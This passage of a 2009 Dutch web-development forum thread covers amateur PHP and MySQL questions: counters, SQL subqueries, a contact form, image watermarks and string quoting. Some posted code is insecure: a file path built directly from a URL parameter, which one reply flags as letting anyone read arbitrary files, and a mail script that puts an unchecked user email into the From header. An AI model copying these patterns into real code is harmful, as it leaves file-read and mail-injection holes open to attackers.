    quote:
    Op woensdag 25 maart 2009 13:48 schreef Tuvai.net het volgende:
    Stel je verwijdert een product in rubriek '- - - A E C', dan zal het productaantal van rubriek '- A' ook actueel moeten worden. Erg veel COUNT(*) query`tjes zeg.
    Beter bij het updaten dan bij het opvragen. Bij een webwinkel gebeurt dat laatste veel vaker. En als je voor je site die getallen veel nodig hebt, dan ga je denormaliseren. Gebeurt ook veel in fora, bijvoorbeeld de berichtenteller, zie phpbb, zie vbulletin, zie myreact.
    quote:
    Wat doe je overigens als een DBA in 'geval van nood' een product via de database moet verwijderen of 'recoveren'?
    Dan bouw je een knop in waarmee alle tellers opnieuw berekend worden.
    Mooie code is niet altijd het criterium.
    Tuvai.netwoensdag 25 maart 2009 @ 18:35
    quote:
    Op woensdag 25 maart 2009 17:47 schreef GlowMouse het volgende:
    Mooie code is niet altijd het criterium.
    Nee, maar jouw methode houdt wel in dat je op gigantisch veel plekken in je applicatie herhaaldelijke en overbodige code gaat neer plempen. Je hebt producten die besteld worden (en dus in aantal krimpen), beheermodules waar producten toegevoegd en verwijderd kunnen worden, en tig andere situaties die de aantallen in kwestie beïnvloeden en waar jij dus in je broncode stukjes voor moet gaan plaatsen om die aantallen bij te houden. Nog even afgezien van het feit dat DBA`ers 'in geval van nood' (recovery) of uit pure gemakszucht ook nog wel eens zo je database in gaan om e.e.a. aan te passen, buiten de applicatie om. Ja, je kunt een knopje maken waarmee je wederom wéér letterlijk alles na moet gaan lopen (dus ook de rubrieken die niet ter sprake zijn) en berekenen, maar da's ook niet echt lekker voor daadwerkelijk actuele cijfers (want hoe vaak moet jij deze zware functie niet gaan uitvoeren om je cijfers daadwerlelijk actueel te houden? ) en de databaseperformance die jij zo belangrijk vindt.

    Dan doe mij maar de berekening bij het opvragen. Dan leg je die (recursieve) functie in de database neer en hoef je dat aantal enkel uit te lezen en weer te geven in je code. Het hele gebeuren staat op één plek, is in geval van wijzigingen in de databasestructuur eenvoudig en snel aan te passen en is altijd, hoe dan ook, actueel. Het betreft eenvoudige COUNT()s, dus waar hébben we het over qua performanceverlies indien dit bij het opvragen gebeurt?

    Database-optimalisatie vind ik net zoals jezelf heel belangrijk, maar gigantisch omslachtige en misplaatste methodes gaan toepassen voor een verwaarloosbaar stukje performancewinst van een paar milliseconden, is maar mijn mening gewoon debiel. Heeft wat mij betreft iets weg van fetisjisme ("Databaseperformance hoog in het vaandel houden, de rest kan wat mij betreft stikken!").

    [ Bericht 0% gewijzigd door Tuvai.net op 25-03-2009 18:41:10 ]
    Catch22-woensdag 25 maart 2009 @ 18:50
    je zit er wel mee dat in een grote site/webshop je niet meer zit met een tabel producten en een tabel categorieen.

    We zijn op het werk met een shop bezig, maar je kan echt niet zomaar 100 counts per request gaan doen, dan komt het niet goed (en helemaal niet als je naar schaalbaarheid kijkt)
    bassiedekloonwoensdag 25 maart 2009 @ 20:19
    hallo ik krijg iets niet voor elkaar..

    ik wil namelijk $_GET['room'] ipv van de 101 hebben in het volgende stukje
    1
    2
    3
    <?php
    $fp 
    fopen ("online/room101.txt","r+");
    ?>

    alleen als ik dat doe krijg ik steeds een foutmelding.
    weet iemand hoe dat moet?
    Roy_Twoensdag 25 maart 2009 @ 20:26
    Post de code eens die de fout geeft zou ik zeggen
    bassiedekloonwoensdag 25 maart 2009 @ 20:35
    ik krijg deze foutmelding

    Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /usr/home/XXXX/domains/XXXX.nl/public_html/online.php on line 21

    bij deze code:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>online</title>
    <META HTTP-EQUIV="refresh" CONTENT="5">
    </head>

    <body>

    <?
    //simple user's online script

       $ip = $_SERVER['REMOTE_ADDR'];
       $time = time();
       $cutoff = 15; //online cut of time
       $exists = 0;
       $users = 0;
       $user  = "";

          $fp = fopen ("online/room$_GET['room'].txt","r+"); //if the file exists open it


          while (!feof($fp))
          {
          $user[] = chop(fgets($fp,65536));
          }
          fseek($fp,0,SEEK_SET);


          foreach ($user as $line)
          {
          list($oldip,$oldtime) = explode('|',$line);
          if ($oldip == $ip) {$oldtime = $time;$exists = 1;} //check to see if the user is already in the text file
          if ($time < $oldtime + ($cutoff * 60)) //see if the last time the user visited is past the cut off time
          {
          fputs($fp,"$oldip|$oldtime\n"); //write the old data to the text file
          $users = $users + 1; // add one to the user count
          }
          }


          if ($exists == 0) //if the user isn't in the text file already:
          {
          fputs($fp,"$ip|$time\n"); //write the new data to the text file
          $users = $users + 1; //add one to the user count
          }


          fclose ($fp); //close the text file
          print "$users"; //display the number of users online

    ?>

    </body>
    </html>


    ik wil het dus zo hebben http://domein.nl/online.php?room=101
    zodat ik niet voor elke room een nieuwe online.php hoef te maken
    bassiedekloonwoensdag 25 maart 2009 @ 20:45
    quote:
    Op woensdag 25 maart 2009 08:30 schreef Roy_T het volgende:

    [..]

    En welk idee is dat?

    poeh hé hoe ga ik dat uitleggen (niet mijn sterkste eigenschap )

    Ik heb een "hoeveel mensen zijn online script" en die schrijft om de zoveel sec in een text file als iemand de chat pagina open heeft die de inframe van de chat bevat.
    En het script kijkt dan wanner die voor het laatst is aangepast.
    het is iets langzamer, maar het werkt wel goed
    Roy_Twoensdag 25 maart 2009 @ 20:46
    Je code is zo insecure als de pest, maar { en } om $_GET['room'] lost het op
    bassiedekloonwoensdag 25 maart 2009 @ 20:53
    quote:
    Op woensdag 25 maart 2009 20:46 schreef Roy_T het volgende:
    Je code is zo insecure als de pest, maar { en } om $_GET['room'] lost het op
    YES het werkt
    Thnx voor de snelle reactie, maar hoe bedoel je insecure?
    Ik hoef daar toch alleen rekening mee te houden als ik een database gebruik?
    Die gebruik ik nog niet omdat ik nog niet weet hoe.
    Lightwoensdag 25 maart 2009 @ 21:22
    quote:
    Op woensdag 25 maart 2009 20:53 schreef bassiedekloon het volgende:

    [..]

    YES het werkt
    Thnx voor de snelle reactie, maar hoe bedoel je insecure?
    Ik hoef daar toch alleen rekening mee te houden als ik een database gebruik?
    Die gebruik ik nog niet omdat ik nog niet weet hoe.
    Het is in principe mogelijk met dat script iedere willekeurige tekstfile te lezen. (Het besturingssysteem kan nog wel beperkingen opleggen, maar iemand anders kan die rechten ook weer aanpassen. Daar moet je dus niet op vertrouwen.)
    Daarbij heb je een gegarandeerde runtime error als het tekstbestand niet bestaat.
    Catch22-woensdag 25 maart 2009 @ 22:02
    eerst ff een file_exists op de gevraagde filename doen dus
    Lightwoensdag 25 maart 2009 @ 22:07
    quote:
    Op woensdag 25 maart 2009 22:02 schreef Catch22- het volgende:
    eerst ff een file_exists op de gevraagde filename doen dus
    Kan. Maar fopen() geeft ook gewoon false terug als het bestand niet bestaat.
    amvrosioswoensdag 25 maart 2009 @ 22:12
    quote:
    Op woensdag 25 maart 2009 22:07 schreef Light het volgende:

    [..]

    Kan. Maar fopen() geeft ook gewoon false terug als het bestand niet bestaat.
    @ voor de functie aanroep,niet echt een nette oplossing,maar het kan...
    als het inderdaad een False terug geeft (niet gecontroleerd) kun je ook iets doen als
    1
    2
    if(fopen($file))
    { spul }

    maar veiligheid blijft dan nog steeds een probleempje.
    Catch22-woensdag 25 maart 2009 @ 22:12
    ja dat klopt, maar dan ziet je gebruikt gewoon niets. dus ik zou het ff afvangen, kan je evt een foutmelding ook terugkoppelen

    of een fallback openen
    Chandlerdonderdag 26 maart 2009 @ 07:44
    quote:
    Op woensdag 25 maart 2009 14:24 schreef slacker_nl het volgende:
    Beetje simpele variant, kan volgens mij wel mooier:
    [ code verwijderd ]
    Ik zal deze vandaag eens testen ziet er best handig uit!
    markiemarkdonderdag 26 maart 2009 @ 10:27
    quote:
    Op dinsdag 24 maart 2009 16:22 schreef Tuvai.net het volgende:
    Voorbeeldje om namen op te halen van mensen die gespecialiseerd zijn in OperatingSystem Windows:
    [ code verwijderd ]

    OF
    [ code verwijderd ]

    Kort samengevat: Met een LEFT OUTER JOIN ga je vanuit de 'diepere' tabel werken, met RIGHT OUTER JOIN ga je vanuit de bovenliggende tabel werken. Voor de rest is het in jouw geval simpelweg met de WHERE clausule spelen om de goede filtering toe te passen.
    Ok, cool, werkt goed, maar nu wil ik mijn zoekopdracht meer specificeren, dus: mensen die gespecialiseerd zijn in operating system windows of mac en in programming language PHP of ASP.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    SELECT
        w.name
    FROM
        werknemer w RIGHT OUTER JOIN
            specialiteiten s ON s.werknemer_id = w.id
    WHERE
        s.specialiteit_naam = 'OperatingSystems' AND
        s.waarde IN ('MAC', 'Windows')
        AND
        s.specialiteit_naam = 'ProgrammingLanguage' AND
        s.waarde IN ('PHP', 'ASP')
    ;


    Hoe doe ik dat dan?
    Tuvai.netdonderdag 26 maart 2009 @ 10:52
    quote:
    Op donderdag 26 maart 2009 10:27 schreef markiemark het volgende:

    [..]

    Ok, cool, werkt goed, maar nu wil ik mijn zoekopdracht meer specificeren, dus: mensen die gespecialiseerd zijn in operating system windows of mac en in programming language PHP of ASP.
    [ code verwijderd ]

    Hoe doe ik dat dan?
    Dan zul je toch e.e.a. met de WHERE clausule moeten goochelen, je statements met AND / OR aanvullen en eventueel in aparte 'blokjes' zetten, voorbeeld:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    SELECT
        w.name
    FROM
        werknemer w RIGHT OUTER JOIN
            specialiteiten s ON s.werknemer_id = w.id
    WHERE
        (
            s.specialiteit_naam = 'OperatingSystems' AND
            (
                s.waarde = 'MAC' OR s.waarde = 'Windows'
            )
        )
        AND
        (
            s.specialiteit_naam = 'ProgrammingLanguage' AND
            (
                s.waarde = 'PHP' OR s.waarde = 'ASP'
            )
        )
    markiemarkdonderdag 26 maart 2009 @ 11:19
    quote:
    Op donderdag 26 maart 2009 10:52 schreef Tuvai.net het volgende:

    [..]

    Dan zul je toch e.e.a. met de WHERE clausule moeten goochelen, je statements met AND / OR aanvullen en eventueel in aparte 'blokjes' zetten, voorbeeld:
    [ code verwijderd ]

    Nope helaas.. 0 results returned..


    Zo doet ie het wel, maar weer de kwestie dat ik meer wil specificeren.. (Programming Lanugage.. )
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    SELECT
        w.name
    FROM
        werknemer w RIGHT OUTER JOIN
            specialiteiten s ON s.werknemer_id = w.id
    WHERE
        (
            s.specialiteit_naam = 'OperatingSystems' AND
            (
                s.waarde = 'MAC' OR s.waarde = 'Windows'
            )
        )
    Tuvai.netdonderdag 26 maart 2009 @ 11:27
    EDIT: Ah klopt, ik had er even geen rekening mee gehouden dat het over een one-to-many tabel ging. Je selecteert in dit geval immers elke keer een losse 'specialiteiten' record. Je zult vrees ik toch e.e.a. met subqueries moeten doen.
    markiemarkdonderdag 26 maart 2009 @ 11:32
    quote:
    Op donderdag 26 maart 2009 11:27 schreef Tuvai.net het volgende:
    EDIT: Ah klopt, ik had er even geen rekening mee gehouden dat het over een one-to-many tabel ging. Je selecteert in dit geval immers elke keer een losse 'specialiteiten' record. Je zult vrees ik toch e.e.a. met subqueries moeten doen.
    Kun je een tipje van de sluier oplichten wat betreft subqueries?
    Tuvai.netdonderdag 26 maart 2009 @ 11:43
    Iets in de trant van:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    SELECT
        w.naam
    FROM
        werknemer w
    WHERE
        (
            SELECT
                COUNT(*)
            FROM
                specialiteiten s
            WHERE
                s.werknemer_id = w.id AND
                s.specialiteit_naam = 'OperatingSystems' AND
                s.waarde IN ('MAC', 'Windows')
        ) > 0 AND
        (
            SELECT
                COUNT(*)
            FROM
                specialiteiten s
            WHERE
                s.werknemer_id = w.id AND
                s.specialiteit_naam = 'ProgrammingLanguages' AND
                s.waarde IN ('PHP', 'ASP')
        ) > 0


    Niet de mooitste query, maar ik kan op dit moment even niets beters verzinnen.
    SuperRembodonderdag 26 maart 2009 @ 12:13
    Die kan je ook samenvoegen:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    SELECT
        w.naam
    FROM
        werknemer w
    WHERE
        (
            SELECT COUNT(*)
            FROM
                specialiteiten s
            WHERE
                s.werknemer_id = w.id 
                AND 
                ( 
                   (s.specialiteit_naam = 'OperatingSystems' AND s.waarde IN ('MAC', 'Windows'))
                   OR (s.specialiteit_naam = 'ProgrammingLanguages' AND s.waarde IN ('PHP', 'ASP'))
                )
        ) = 2
    PeuRacdonderdag 26 maart 2009 @ 12:34
    Ik heb waarschijnlijk een hele domme vraag, maar ben nu al een poosje op zoek en weet niet hoe ik t kan oplossen.

    Maar ik heb een contact formulier op mn site geplaatst, welke dan netjes een mailtje naar mij stuurt. Als ik op verzenden klik opent die een nieuw leeg scherm. Terwijl ik eigenlijk wil dat die de pagina vervangt door de pagina waarop ik ze bedankt voor het invullen. Hier de codes van mn site en de PHP file:


    HTML
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php
    <FORM METHOD="post" ACTION="mail.php">

    <
    INPUT TYPE="hidden" NAME="to" VALUE="naam@domein.com">
    <
    p>
    <
    INPUT TYPE="hidden" NAME="subject" VALUE="Voorbeeldformulier Handleiding HTML">
    <
    strong>Naam*:</strong>
    <
    br><INPUT NAME="name" SIZE="45">
    <
    br><strong>E-mail adres*:</strong>
    <
    br><INPUT NAME="email" SIZE="45">
    <
    br><strong>Telefoonnummer*:</strong>
    <
    br><INPUT NAME="phone" SIZE="45">
    <
    br><strong>Bericht/vraag:</strong>
    <
    br><INPUT TYPE="hidden" NAME="required_fields" VALUE="name, from, phone">

    <
    TEXTAREA NAME="message" ROWS="3" COLS="45"></TEXTAREA>
    <
    br> <img class="rde_img_smiley" src="http://i.fok.nl/s/shiny.gif" width="15" height="15" alt="" /> svp invullen
    <br><br>
    <
    INPUT TYPE="reset" VALUE="Verwijder invoer">

    <
    INPUT TYPE="submit" VALUE="Verzend gegevens">
    </
    p>

    </
    FORM>
    ?>


    PHP
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php
    $name
    =$_POST['name'];
    $email=$_POST['email'];
    $phone=$_POST['phone'];
    $message=$_POST['message'];

    $ToEmail "naam@domein.com";
    $ToSubject "Contact Form from domein.com";

    $EmailBody =   "Name: $name\n 
    Email: $email\n
    Phone: $phone\n
    Message: $message\n"
    ;

    $Message $EmailBody;


    $headers .= "Content-type: text; charset=iso-8859-1\r\n";
    $headers .= "From:".$email."\r\n";

    mail($ToEmail,$ToSubject,$Message$headers);

    header"Location: contact2.html" );
    ?>


    Misschien dat iemand mij kan vertellen wat ik fout heb gedaan, of dat ik een compleet verkeerde manier gebruikt heb.

    Ze staan beide gewoon op de server, het contact formulier opzich werkt.
    #ANONIEMdonderdag 26 maart 2009 @ 12:51
    header( "Location: contact2.html" ); geeft aan waar je heen wilt gaan nadat de mail gestuurd is.
    PeuRacdonderdag 26 maart 2009 @ 13:01
    klopt, maar dat gebeurt dus niet

    edit - sorry, het werkt wel, blijkbaar had ik nog niet de laatste versie ge-upload
    markiemarkdonderdag 26 maart 2009 @ 13:05
    quote:
    Op donderdag 26 maart 2009 12:13 schreef SuperRembo het volgende:
    Die kan je ook samenvoegen:
    [ code verwijderd ]


    EDIT: snap hem al...
    Maar, query duurt ontzettend lang... Lijkt wel of ie in oneindige loop zit..


    [ Bericht 36% gewijzigd door markiemark op 26-03-2009 13:17:58 ]
    SuperRembodonderdag 26 maart 2009 @ 13:26
    quote:
    Op donderdag 26 maart 2009 13:05 schreef markiemark het volgende:

    [..]

    Kan ik daar ook dit van maken?
    [ code verwijderd ]

    * AND ipv OR
    Ik denk dat er niet veel regels zijn waarbij specialiteit_naam = 'OperatingSystems' en specialiteit_naam = 'ProgrammingLanguages' is.
    markiemarkdonderdag 26 maart 2009 @ 13:27
    quote:
    Op donderdag 26 maart 2009 13:26 schreef SuperRembo het volgende:

    [..]

    Ik denk dat er niet veel regels zijn waarbij specialiteit_naam = 'OperatingSystems' en specialiteit_naam = 'ProgrammingLanguages' is.
    Hehe nee ik snap hem al..
    Je geeft denk ik een goede oplossing voor mij, maar mijn mysql server lijkt het niet te slikken...
    markiemarkdonderdag 26 maart 2009 @ 13:39
    quote:
    Op donderdag 26 maart 2009 13:27 schreef markiemark het volgende:

    [..]

    Hehe nee ik snap hem al..
    Je geeft denk ik een goede oplossing voor mij, maar mijn mysql server lijkt het niet te slikken...
    Ik heb hem gelimit op 5, en dat duurt 6 seconden... Hoe kan dat?
    Chandlerdonderdag 26 maart 2009 @ 15:07
    explain <yoursqlcode> en dan kijken wat de uitvoer is
    SuperRembodonderdag 26 maart 2009 @ 15:50
    Ik heb ook eens een vraag *O*

    Ik heb een functie om een watermark aan een plaatje toe te voegen. Dat werkt op zich prima, alleen zou ik de opacity van de watermark makkelijk willen kunnen aanpassen.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <?php
    function addWatermark($image$opacity)
    {
       if (!
    imageistruecolor($image)) die('addWatermark: Input image should be true color.');
       
       
    // Load watermark image
       
    $wmFileName 'images/watermark.png';
       
    $wm imagecreatefrompng($wmFileName);  
       if (!
    $wm) die('Watermark image not found. '.$wmFileName);
       if (!
    imageistruecolor($wm)) die('addWatermark: Watermark image should be true color.');

       
    $wmWidth imagesx($wm);  
       
    $wmHeight imagesy($wm);  

       
    // Lower right corner, with padding
       
    $destX imagesx($image) - $wmWidth 5;  
       
    $destY imagesy($image) - $wmHeight 5;  

       
    // Copy watermark to image
       
    imagecopymerge($image$wm$destX$destY00$wmWidth$wmHeight$opacity);  
       
    //imagecopy($image, $wm, $destX, $destY, 0, 0, $wmWidth, $wmHeight);  
       
       // Clean up
       
    imagedestroy($wm);  
    }
    ?>


    Het probleem is dat imagecopymerge alle transparatie uit het watermark plaatje zelf weggooit :{. Met imagecopy blijft die informatie wel behouden, maar dan kan ik er dus niets aan tweaken via php.
    Catch22-donderdag 26 maart 2009 @ 16:20
    ik zou even een kant en klaar scriptje zoeken, die image classes zijn echt brak vaak.
    Tuvai.netdonderdag 26 maart 2009 @ 16:21
    quote:
    Op donderdag 26 maart 2009 15:50 schreef SuperRembo het volgende:
    Ik heb ook eens een vraag

    Ik heb een functie om een watermark aan een plaatje toe te voegen. Dat werkt op zich prima, alleen zou ik de opacity van de watermark makkelijk willen kunnen aanpassen.
    [ code verwijderd ]

    Het probleem is dat imagecopymerge alle transparatie uit het watermark plaatje zelf weggooit . Met imagecopy blijft die informatie wel behouden, maar dan kan ik er dus niets aan tweaken via php.
    imagecopymerge verneukt inderdaad al de 'bestaande' transparency in een PNG. Met http://nl2.php.net/manual/en/function.imagecopyresampled.php imagecopy schijnt het met wat omweggetjes mogelijk te zijn wat jij wil. Ik heb het zelf eerlijk gezegd ook nog nooit geprobeerd daar ik deze situatie nog nooit ben tegengekomen, maar als ik de reacties op beide pagina's lees is het wel degelijk mogelijk.

    [ Bericht 5% gewijzigd door Tuvai.net op 26-03-2009 23:14:34 ]
    markiemarkdonderdag 26 maart 2009 @ 16:36
    Ik laat mijn vorige probleem even voor wat het is... (http://forum.fok.nl/topic/1268583#67428173)
    Heb ik direct een nieuwe vraag

    Mijn url ziet er als volgt uit:

    pagina.php?var1=waarde&var2=waarde&var3=waarde&page=1
    De url haal ik op dmv $_SERVER['REQUEST_URI']
    Nu wil ik hierin de waarde van url variabele page vervangen door een andere waarde (pagina nummer).
    Hoe werkt dit. Ik kan 0,0 reguliere expressies.. En ik denk dt ik die nu wel nodig heb.
    Iemand ideetje?
    Catch22-donderdag 26 maart 2009 @ 16:43
    wrom gebruik je niet gewoon $_GET ?
    hoerezooidonderdag 26 maart 2009 @ 16:43
    quote:
    Op dinsdag 24 maart 2009 19:24 schreef Scorpie het volgende:
    Welk pattern gebruiken jullie om objecten aan te maken binnen jullie applicatie? Voor domain objecten lijkt mij een DomainObjectFactory class handig, die elke keer 1 instantie van een object retourneert?

    Of gebruiken jullie een generieke oplossing voor al jullie objecten?
    gebruik het zend framework welke in zich heel veel gebruikt maakt van patterns oa singeltons, factory's,chain of command, mvc.
    klusmeisterdonderdag 26 maart 2009 @ 17:39
    Hallo,

    Ik zit met hetvolgende, ik heb html pagina die volledig handwerk is. Op deze pagina staan een paar honderd links als:

    1<a target="blank" rel="nofollow" href="http://www.carfantasy.nl/" onClick="javascript: pageTracker._trackPageview('/outgoing/auto_accessoires/www.carfantasy.nl')">carfantasy.nl</a><br />


    Nu ben ik stap voor stap deze proberen na te maken / uit te lezen via php en een database

    1
    2
    3
    4
    <?php
    $sql 
    "SELECT website, www_website, http_www_website, cat_1 FROM ww WHERE cat_1 LIKE'cat1%'"
    $resultaat mysql_query($sql);
    ?>


    1
    2
    3
    <?php
    echo "<a target='blank' rel='nofollow' href='".$row["http_www_website"]."'>".$row["website"]."</a><br />";
    ?>


    Dit werkt goed, ik krijg alleen errors wanneer ik het "onclick javascript gedeelte" wil toevoegen, dan kom ik er niet meer uit qua "''; ""'' enz

    Ik heb nu zoiets:

    1
    2
    3
    <?php
    echo "<a target='blank' rel='nofollow' href='".$row["http_www_website"]."' onClick='javascript: pageTracker._trackPageview('/outgoing/auto_accessoires/".$row["www_website"]."'")">".$row["website"]."</a><br />";
    ?>


    Dit hierboven geeft een Parse error: syntax error, unexpected ')', expecting ',' or ';'

    Kan iemand met een oog voor dit soort zaken zien waar het fout gaat, zodat de uitgaande klik wel gemeten wordt in analytics?

    Gr, Herman (ben er over 2 uurtjes pas weer, voor de snelle reageerders ;-) )
    slacker_nldonderdag 26 maart 2009 @ 17:55
    quote:
    Op donderdag 26 maart 2009 17:39 schreef klusmeister het volgende:
    1
    2
    3
    <?php
    echo "<a target='blank' rel='nofollow' href='".$row["http_www_website"]."' onClick='javascript: pageTracker._trackPageview('/outgoing/auto_accessoires/".$row["www_website"]."'")">".$row["website"]."</a><br />";
    ?>
    Moet dit worden:

    1
    2
    3
    4
    5
    6
    7
    <?php
    echo "<a target='blank' rel='nofollow' href='".$row["http_www_website"] .
        
    "' onClick='javascript: pageTracker._trackPageview('/outgoing/auto_accessoires/" .
        
    $row["www_website"].
        
    "')>" .$row["website"].
        
    "</a><br />";
    ?>
    Dawnbreakerdonderdag 26 maart 2009 @ 18:07
    even een vraag waar ik mee zit, misschien makkie voor jullie:

    ik heb deze code (html en php)

    <a href="<?php $siteurl ?>" target="_parent"> de link </a>

    De link wordt nu de site url (de homepage dus). Ik wil hem laten verwijzen naar de subdirectory /mijnfotos/

    Hoe doe ik dit? ik heb al vanalles geprobeerd maar kom nu niet meer verder:

    <a href="<?php $siteurl/mijnfotos/ ?>" target="_parent"> de link </a> werkt dus niet

    [edit: codetags weggehaald want die verneukte de code]
    klusmeisterdonderdag 26 maart 2009 @ 18:37
    quote:
    Op donderdag 26 maart 2009 17:55 schreef slacker_nl het volgende:

    [..]

    Moet dit worden:
    [ code verwijderd ]


    Het werkt! Bedankt!
    Catch22-donderdag 26 maart 2009 @ 19:25
    1<a href="<?php $siteurl ?>/mijnfotos/" target="_parent"> de link </a>

    en target=parent? gebruik je frames oid ?
    klusmeisterdonderdag 26 maart 2009 @ 19:59
    quote:
    Op donderdag 26 maart 2009 17:55 schreef slacker_nl het volgende:

    [..]

    Moet dit worden:
    [ code verwijderd ]


    Hmm.. Hij werkt wel (je ziet hem op de site) maar de klik wordt niet vastgelegd door analytics.
    Het gaat volgens firefox fout bij het onClick='javascript: pageTracker._trackPageview('/outgoing/auto_accessoires/www.carfantasy.nl')>

    gedeelte (vanaf /outgoing en verder wordt het rood aangegeven)

    Ik ga nog even proberen.


    edit : Ik kan na bij (' de ' wel weglaten maar dan wordt de uitgaande klik niet meer vastgelegd

    [ Bericht 6% gewijzigd door klusmeister op 26-03-2009 20:06:59 ]
    Lightdonderdag 26 maart 2009 @ 20:16
    quote:
    Op donderdag 26 maart 2009 19:59 schreef klusmeister het volgende:

    [..]

    Hmm.. Hij werkt wel (je ziet hem op de site) maar de klik wordt niet vastgelegd door analytics.
    Het gaat volgens firefox fout bij het onClick='javascript: pageTracker._trackPageview('/outgoing/auto_accessoires/www.carfantasy.nl')>

    gedeelte (vanaf /outgoing en verder wordt het rood aangegeven)

    Ik ga nog even proberen.
    [ afbeelding ]

    edit : Ik kan na bij (' de ' wel weglaten maar dan wordt de uitgaande klik niet meer vastgelegd
    De fout zit niet bij de ( maar bij de ' erna. Daar moet een \ voor. Ook voor de ' aan het eind van die url moet een \ en na de ) moet nog een '.
    klusmeisterdonderdag 26 maart 2009 @ 20:26
    quote:
    Op donderdag 26 maart 2009 20:16 schreef Light het volgende:

    [..]

    De fout zit niet bij de ( maar bij de ' erna. Daar moet een \ voor. Ook voor de ' aan het eind van die url moet een \ en na de ) moet nog een '.
    Als ik je aanwijzing opvolg krijg ik hem zo:
    1<a target='blank' rel='nofollow' href='http://www.carfantasy.nl' onClick='javascript: pageTracker._trackPageview(\'/outgoing/auto_accessoires/www.carfantasy.nl\')'>carfantasy.nl</a><br />


    Maar dan werkt het ook niet, moet ik de ''s dan weghalen?
    qu63donderdag 26 maart 2009 @ 20:26
    maak er eens onClick="javascript: pageTracker._trackPageview('/outgoing/auto_accessoires/www.carfantasy.nl')"> van?
    klusmeisterdonderdag 26 maart 2009 @ 20:32
    quote:
    Op donderdag 26 maart 2009 20:26 schreef qu63 het volgende:
    maak er eens onClick="javascript: pageTracker._trackPageview('/outgoing/auto_accessoires/www.carfantasy.nl')"> van?
    ik zit een beetje met de " (de dubbele versie ivm gebruik php).
    1
    2
    3
    <?php
    echo "<a target='blank' rel='nofollow' href='".$row["http_www_website"]."' onClick='javascript: pageTracker._trackPageview('/outgoing/auto_accessoires/".$row["www_website"]."')>".$row["website"]."</a><br />";
    ?>


    Dit is de code nu, maar legt de klik niet vast resultaat:
    Lightdonderdag 26 maart 2009 @ 20:34
    quote:
    Op donderdag 26 maart 2009 20:26 schreef klusmeister het volgende:

    [..]

    Als ik je aanwijzing opvolg krijg ik hem zo:
    [ code verwijderd ]

    Maar dan werkt het ook niet, moet ik de ''s dan weghalen?
    Nee, die dingen moet je niet weghalen.
    Als je bij die attributen altijd ".." gebruikt en bij javascript '..' dan heb je geen conflicten met begin en einde van een string. En dan krijg je dus iets zoals wat qu63 schrijft.
    Lightdonderdag 26 maart 2009 @ 20:34
    quote:
    Op donderdag 26 maart 2009 20:32 schreef klusmeister het volgende:

    [..]

    ik zit een beetje met de " (de dubbele versie ivm gebruik php).
    [ code verwijderd ]

    Dit is de code nu, maar legt de klik niet vast resultaat:
    [ afbeelding ]
    Ja, dat hele stuk in het rood geeft dus aan dat het nog niet goed is.
    Lightdonderdag 26 maart 2009 @ 20:38
    1
    2
    3
    <?php
    echo '<a target="blank" rel="nofollow" href="'.$row['http_www_website'].'" onClick="javascript: pageTracker._trackPageview(\'/outgoing/auto_accessoires/'.$row['www_website'].'")\'>'.$row['website'].'</a><br />';
    ?>
    Zoiets?
    klusmeisterdonderdag 26 maart 2009 @ 20:41
    quote:
    Op donderdag 26 maart 2009 20:34 schreef Light het volgende:

    [..]

    Nee, die dingen moet je niet weghalen.
    Als je bij die attributen altijd ".." gebruikt en bij javascript '..' dan heb je geen conflicten met begin en einde van een string. En dan krijg je dus iets zoals wat qu63 schrijft.
    1
    2
    3
    <?php
    echo "<a target='blank' rel='nofollow' href='".$row["http_www_website"]."' onClick="javascriptpageTracker._trackPageview('/outgoing/auto_accessoires/".$row["www_website"]."')">".$row["website"]."</a><br />";
    ?>


    Dit is de toepassing zoals qu63 omschrijft, dan krijg ik een Parse error: syntax error, unexpected T_STRING, expecting ',' or ';'
    klusmeisterdonderdag 26 maart 2009 @ 20:44
    quote:
    Op donderdag 26 maart 2009 20:38 schreef Light het volgende:

    [ code verwijderd ]

    Zoiets?


    Op het laatste stukje gaat 't net mis.
    Catch22-donderdag 26 maart 2009 @ 20:49
    je moet die laatste ' en " omdraaien
    klusmeisterdonderdag 26 maart 2009 @ 21:06
    quote:
    Op donderdag 26 maart 2009 20:49 schreef Catch22- het volgende:
    je moet die laatste ' en " omdraaien
    in html is het voor mij geen probleem, maar in php krijg ik het (nog ) niet voor elkaar om ze om te draaien, krijg continue parse error expected enz
    SuperRembodonderdag 26 maart 2009 @ 21:14
    quote:
    Op donderdag 26 maart 2009 16:20 schreef Catch22- het volgende:
    ik zou even een kant en klaar scriptje zoeken, die image classes zijn echt brak vaak.
    Oh dank je, dit is code die ik zelf geschreven heb
    Lightdonderdag 26 maart 2009 @ 21:17
    quote:
    Op donderdag 26 maart 2009 21:06 schreef klusmeister het volgende:

    [..]

    in html is het voor mij geen probleem, maar in php krijg ik het (nog ) niet voor elkaar om ze om te draaien, krijg continue parse error expected enz
    Je kunt ook eerst php afsluiten, dan je html doen, en dan php weer openen. Scheelt je een hoop gedoe met " en '
